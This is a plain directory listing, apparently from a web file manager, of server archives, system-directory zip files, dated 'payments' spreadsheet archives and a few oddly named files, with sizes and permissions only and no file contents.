87.tar File 1.04 MB 0644
87.tar.gz File 617.97 KB 0644
88.tar File 29.5 KB 0644
88.tar.gz File 22.81 KB 0644
89.tar File 29.5 KB 0644
89.tar.gz File 22.81 KB 0644
93.tar File 532 KB 0644
93.tar.gz File 512.4 KB 0644
95.tar File 500 KB 0644
95.tar.gz File 447.79 KB 0644
96.tar File 102 KB 0644
96.tar.gz File 89.97 KB 0644
97.tar File 441.5 KB 0644
97.tar.gz File 428 KB 0644
98.tar File 1.19 MB 0644
98.tar.gz File 344.9 KB 0644
99.tar File 279.5 KB 0644
99.tar.gz File 272.58 KB 0644
apache2.zip File 114.81 KB 0644
cron.monthly.zip File 260 B 0644
kwq46j.zip File 258 B 0644
lvm.zip File 112.44 KB 0644
mc.zip File 253.13 KB 0644
openssh.zip File 671.5 KB 0644
os-probes.zip File 23.48 KB 0644
payments 2025-05-28 15-23-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-23-40.xlsx.xlsx.tar.gz File 6.15 KB 0644
payments 2025-05-28 15-24-23.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-24-23.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-29 03-55-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-30 07-55-52.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-55-52.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-05-30 07-59-34.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-59-34.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-07-16 14-04-06.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 14-04-06.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-16 15-16-08.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 15-16-08.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-18 12-09-36.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-36.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-07-18 12-09-53.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-53.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-08-01 07-45-11.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 07-45-11.xlsx.xlsx.tar.gz File 7 KB 0644
payments 2025-08-01 09-00-13.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 09-00-13.xlsx.xlsx.tar.gz File 7 KB 0644
perl.zip File 773 B 0644
photo_2026-01-13_13-45-49.jpg.jpg.tar.gz File 141.67 KB 0644
photo_2026-01-13_13-45-49.jpg.tar File 144.5 KB 0644
php.zip File 29.01 MB 0644
postgresql-common.tar File 7.5 KB 0644
postgresql-common.tar.gz File 1.62 KB 0644
protocols.tar File 4.5 KB 0644
protocols.tar.gz File 1.56 KB 0644
python3.tar File 2 KB 0644
python3.tar.gz File 162 B 0644
tc.zip File 121.12 KB 0644
udev.zip File 62.48 KB 0644
ustcy.php File 111.6 KB 0644
ustcy.php.php.tar.gz File 28.89 KB 0644
vim.zip File 3.13 KB 0644